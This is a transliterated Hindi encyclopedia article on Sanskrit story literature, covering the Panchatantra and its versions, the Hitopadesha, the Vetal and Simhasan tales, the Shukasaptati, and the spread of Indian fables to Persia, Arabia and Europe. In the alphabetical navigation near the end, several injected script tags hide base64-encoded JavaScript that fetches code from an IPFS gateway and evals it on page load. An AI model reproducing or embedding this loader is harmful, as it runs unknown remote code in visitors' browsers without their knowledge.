कथा साहित्य (संस्कृत)

sanskrit bhasha mean nibaddh kathaoan ka prachur sahity hai, jo saik doan varshoan se manoranjan karata hua upadesh deta a raha hai. sanskrit ki kahaniyoan ka sarvashreshth tatha prachin sangrah hai- 'panchatantr'. dakshin mean mahilaropy namak nagar mean amarakirti raja ke moorkh putroan ko niti tatha vyavahar ki shiksha dene ke lie vishnu sharma ne is grantharatn ka pranayan kiya tha. isake anek sanskaran bhinn-bhinn shatabdiyoan mean tatha bharat ke bhinn-bhinn praantoan mean hote rahe haian.

shreni

pashchimi deshoan mean kathaean tin shreniyoan mean vibhakt ki jati haian-

feari tels (pariyoan ki kahaniyaan)
febuls (jantu kathaean)
dayadektik tels (upadeshamayi kahaniyaan)

sanskrit sahity mean uparokt tinoan prakar ki kahaniyoan ke udaharan milate haian, jo katha sahity se sanbaddh granthoan ke alochan se spasht ho jata hai.

katha ka mool srot

kathaoan ke mool srot ki khoj ke lie vaidik sanhitaoan ka anushilan avashyak hai. rrigved ki mantr sanhita mean anek rochak kahaniyoan ki soochana milati hai, jinaka paribrianhan shaunak ne 'brihaddevata' mean, shadgurushishy ne 'katyayan sarvanukramani' ki vedarthadipika mean, yask ne nirukt mean, sayan ne apane ved bhashyoan mean tatha syadvived ne 'niti manjari'^[1] mean kiya hai. yahian se ye kathaean puranoan ke madhyam se hokar janata ke manoranjan tatha shikshan ke nimitt laukik sanskrit sahity mean avatirn hueean.^[2]

pradhan granth

sanskrit sahity ke pradhan granthoan ka sankshipt parichay is prakar haian-

panchatantr

REDIRECTsaancha:mukhy

sanskrit ki kahaniyoan ka 'panchatantr' sarvashreshth tatha prachin sangrah hai. granthakar ka uddeshy aranbh se hi rochak kathaoan ke dvara niti tatha sadachar ka shikshan raha hai. dakshin mean mahilaropy namak nagar mean amarakirti raja ke moorkh putroan ko niti tatha vyavahar ki shiksha dene ke lie vishnu sharma ne is grantharatn ka pranayan kiya tha. isake anek sanskaran bhinn-bhinn shatabdiyoan mean tatha bharat ke bhinn-bhinn praantoan mean hote rahe haian, jinaka saangopaang adhyayan kar jarmani ke prasiddh sanskritajn d aau. hartel ne isake vikas ki char shreniyaan batalaeean. 'panchatantr' ka sabase prachin roop 'tantrakhyayika' mean surakshit hai, jisaka mool sthan kashmir hai.

sanskaran

'panchatantr' ke vibhinn char sanskaran aj upalabdh haian-

panchatantr ka pahalavi (purani farasi) anuvad
gunadhy ki brihatkatha mean aantarnivisht roop
dakshini panchatantr, nepali panchatantr tatha hitopadesh ke dvara nirdisht sanskaran
vartaman parivardhit jain sanskaran

'tantrakhyayika' ya 'tantrakhyan' mean kathaoan ki rooparekha bahut hi parimit hai. nitimay padyoan ka sankalan bahut hi sankshipt tatha auchityapoorn hai. pahalavi anuvad ka yahi mool roop hai, jisaki rachana chaturth shati mean ki gee thi. ajakal upalabdh panchatantr poornabhadr namak jain vidvanh ke paribrianhan aur parivardhan ka parinat phal hai. inhoanne 1255 vikrami (1199 ee.) mean mool granth ka amool sanshodhan kiya tatha niti ke padyoan ka samavesh kar ise bhara-poora banaya. panchatantr se prachinatar kahaniyoan ka sangrah 'bauddh jatakoan' mean upalabdh hota hai, jo sankhya mean 550 haian tatha jinamean bhagavan buddh ke prachin janmoan ki kathaean di haian aur jo moolat: pali bhasha mean haian. in kahaniyoan ka roopagat vaishishtay yah hai ki ek b di kahani ke bhitar chhoti kahaniyaan ek ke bhitar ek usi roop mean gooanthi gee haian, jis prakar chin ke b aauks mean b de b aauks ke bhitar chhote b aauks ek ke bhitar ek banae jate haian. panchatantr ke paanchoan prakaranoan mean paanch hi mukhy kahaniyaan haian, jinake bhitar avaantar kahaniyaan prasang ke anusar nivisht ki gee haian.^[2]

hitopadesh

REDIRECTsaancha:mukhy

sanskrit ke katha sahity mean atyant lokapriy granth hai- 'hitopadesh'. rochak hone ke atirikt bhasha ki drishti se itana saral tatha subodh hai ki bharat mean tatha pashchimi deshoan mean sanskrit bhasha sikhane ke lie yah pahali pustak hai. isake rachayita narayan pandit the, jinake ashrayadata bangal ke raja dhavalachandr the. rachana ka kal 14vian shati hai.

brihatkatha

yah paishachi bhasha mean nibaddh prachin granth hai, jisaki kahaniyoan ki janakari hamean isake sanskrit anuvadoan se hoti hai.

vetal panchavianshati (vetal pachchisi)

REDIRECTsaancha:mukhy

is kathachakr ka sanbandh raja vikramadity ke alaukik tatha shauryamandit jivan se hai. 'kathasaritsagar' tatha 'brihatkathamanjari' mean ye kahaniyaan pray: ek roop mean upalabdh hoti haian. isake anek lokapriy sanskaran gady-pady mean milate haian. shivadasarachit 'panchavianshati' mean kathaean adhikatar gady mean varnit haian, parantu bich-bich mean use shlokoan ke uddharanoan se paripusht kiya gaya hai. janbhaladatt ka sanskaran bilkul gadyatmak hai. kahaniyoan mean sthal-sthal par aantar hone par bhi yah sanskaran kashmiri sanskaran se vishesh milata hai. ye kahaniyaan manoranjak, jnanavardhak aur kautoohalajanak haian, jinamean raja vikramadity ki alok samany chaturi tatha virata ka varnan b de suandar dhang se kiya gaya hai.

sianhasan dvatrianshika (sianhasan battisi)

REDIRECTsaancha:mukhy

'sianhasan battisi' bhi raja vikram ke charit se sanbaddh hai aur isilie isaka nam 'vikramacharit' bhi hai. jain muni kshemakar ka sanskaran uttari vachanika ka pratinidhi mana jata hai, jisake oopar bangali sanskaran ashrit hai. dakshin bharat mean ye hi kahaniyaan 'vikramacharit' nam se prakhyat haian. d aau. hartel ki drishti mean jain vivaran hi mool granth ke samip ata hai, parantu d aau.edgartan ke vichar se dakshini vachanika hi maulik tatha prachinatar hai. donoan sanskaran 13vian shati se prachin nahian ho sakate, kyoanki donoan mean hemadri^[3] ke 'danakhand' ka ullekh milata hai.^[2]

shukasaptati

'shukasaptati' ki kahaniyaan kam rochak nahian haian, jinamean koee sugga apane grihasvami ke paradesh chale jane par parapurushoan ke akarshan jal se apani svamini ko bachata hai. isaki vistrit vachanika ke lekhak koee chiantamani bhatt haianru, jinaka samay 12 shatak se poorvavarti hona chahie, kyoanki unhoanne is granth mean poornabhadr ke dvara sanskrit 'panchatantr' ka sthan-sthan par upayog kiya hai.

in kathaoan ke atirikt anek jain tatha bauddh kahaniyoan ke sangrah upalabdh haian. jain log kahaniyoan ki rachana mean b de patu the aur is sahityik kavy roop ko unhoanne apane dharm prachar ka samarth sadhan banaya tha. bharatak dvatrianshika tatha katharatnakar ki kahaniyaan isi koti ki haian. 'jain prabandhi' mean bhi lokapriy kahaniyaan khoji ja sakati haian. bauddh sahity mean katha sahity ka ek vishal sangrah hai, jo 'avadanoan' ke nam se prakhyat hai. madhy yug mean bhi kahaniyoan ki rachana hoti rahi hai. aisi kahaniyoan ka madhyayugin sangrah maithilakokil vidyapati (14vian shati) ke manoram granth 'purushapariksha' mean upalabdh hota hai. is prakar sanskrit ka katha sahity nana granthoan mean apana vaibhav bikher raha hai tatha apane prabhav se vishv ke shisht sahity ko apana anavarat rrini bana raha hai.

bharatiy kahaniyoan ki videsh yatra

sanskrit ka katha sahity aur visheshat: panchatantr, vishv sahity ko bharat ki den hai. ye kahaniyaan bharat ke nivasiyoan ka hi shikshan aur manoranjan nahian karatian, pratyut vishv ke sabhy sahity ka aang banakar nana deshoan ke nivasiyoan ka bhi manoranjan karati haian. bharatiy katha ki videsh yatra ki yah ram kahani b di hi rochak tatha shikshaprad hai. faras ke prasiddh samrat khusaroan nausheravaan (531ee.-579 ee.) ke rajy kal mean panchatantr ki kahaniyaan pahalavi bhasha (purani) mean prathamat: 533 ee. mean anoodit ki geean. anuvadak ka nam tha- 'hakim burajoee'. pratham tantr ke shrigal bandhuoan- 'karatak' aur 'damanak' ke nam par yah anuvad 'kalelah-v-dimanah' ke nam se prasiddh hua. 560 ee. mean 'bud' namak ek eesaee sant ne is pahalavi anuvad ko siriyaee bhasha mean roopaantarit kiya. 750 ee. mean siriyaee se arabi anuvad karane ka shrey prapt hai 'abdulla-bin-alamukaphh‌pha' ko, jo svayan to musalaman tha, parantu jisaka pita parasi tha. is anuvad ke bhi anek anuvad laitin, grik, spenish, italiy, jarman tatha aangrezi bhashaoan mean bhinn-bhinn shatabdiyoan mean hote rahe aur is prakar ye kahaniyaan 16vian shati se poorv hi yoorop ke vibhinn deshoan mean ghar kar geean. un deshoan ke nivasiyauan ko inake bharatiy hone ka tanik bhi bhan nahian tha. ye 'vidapee' ki kahaniyoan ke nam se sarvatr vikhyat ho geean.^[2]

yoonani katha sahity

yoonan ke prakhyat katha sangrah 'eesap febul' tatha arab ki manoranjak kahaniyoan 'alif laila' ki adharabhoot ye hi bharatiy kathaean haian. yoorop tatha arab ke nivasi inhean apane sahity ki nidhi manate the. isaka vichitr parinam yah hua ki bhagavan buddh eesaee santoan ki shreni mean virajane lage. yoorop ke madhy yug ki ek vikhyat kahani thi- 'baralam aur jozef' ki kahani, jisamean jozef ne apane upadeshoan se baralam namak raja ko eesaee mat mean dikshit kar liya. isamean jozef nam 'budasaf' ke roop mean 'bodhisatv' ka hi apabhransh hai aur jozef svayan buddh hi hai. yah kam ashchary ki bat nahian hai ki inhian kahaniyoan ki kripa se buddh apane se virodhi dharm ke many sant ke roop mean eesaee dharm mean grihit haian.

madhy yug se bhi pahale sudoor prachin kal mean bhi 'hibroo' (yahoodi) logoan ko in kahaniyoan ka parichay mil chuka tha. 'suleman ka nyay'^[4] ke nam se prasiddh kahani ka mool bhi bharatiy hai. baibil ki anek kathaean moolat: bharatiy haian. prasiddh yoonani samrat sikandar ke vishay ki vah lokapriy kahani bhi bharatiy hi hai, jisamean usaki mata ke tivr putrashok ko kam karane ke lie kisi tatvavetta ne aise ghar se sarasoan ki khoj mean nirash hone par hi us vriddha ko deh ki nashvarata ki vyavaharik shiksha mili thi. yah katha bhi bhagavan buddh dvara 'kisa gautami'^[5] ko die ge upadesh ko pratidhvanit karati hai.

vishv sahity ko bharat ki den

itana hi nahian, shashth shati se poorv hi ye bharatiy kathaean chin ke do atyant prachin vishvakoshoan mean anoodit ki gee upalabdh hoti haian. phalat: samast sabhy sansar ke log prachin tatha madhy yug mean in bharatiy kahaniyoan se anand uthate the aur apane jivan ko sukhamay banate the. madhy yug ka ek prakhyat katha chakr tha, jo itali ke kavi petrark ke vishvavishrut katha granth 'dekameraan' mean aj bhi surakshit hai. alochakoan se yah bat paroksh nahian hai ki sheksapiyar ke anek natakoan ki kathavastu isi rochak granth se grihit hai. dekameraan ki adhikaansh kahaniyaan bharatavarsh ki kahaniyoan ka kianchit parivardhit tatha parivartit roop haian. 'shakusaptati' ki kahaniyaan bhi faras mean bahut hi prakhyat aur lokapriy thian. 1329-30 mean haphiz aur sadi ke samakalin ek lekhak ne 'tootinama' ke nam se farasi mean isaka anuvad prastut kiya, jisaka turki bhasha mean anuvad sau varsh ke bhitar hi kiya gaya. 18vian shati mean 'kadiri' namak lekhak ne isaka naya anuvad taiyar kiya. is farasi anuvad ki bahut-si kahaniyaan yoorop mean phail geean. jarmani ke prasiddh prachyavid d aau. thiodor benafi ne b de adhyavasay se bharatiy kahaniyoan ki is yatra ka saangopaang vivaran prastut kiya hai. phalat: vishv sahity ko bharatavarsh ki denoan mean kathaoan ki den b di hi vyapak, rochak tatha lokapriy hai.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ rachanakal 15vian shati ka aant
↑ ^2.0 ^2.1 ^2.2 ^2.3 ^2.4 katha sahity (sanskrit) (hindi) bharatakhoj. abhigaman tithi: 05 agast, 2014.
↑ 13 shatak
↑ salomans jajameant
↑ krisha gautami

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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[1] rachanakal 15vian shati ka aant

[aa-2] 2.0 ^2.1 ^2.2 ^2.3 ^2.4 katha sahity (sanskrit) (hindi) bharatakhoj. abhigaman tithi: 05 agast, 2014.

[3] 13 shatak

[4] salomans jajameant

[5] risha gautami

[1]

[2]

[3]

[4]

[5]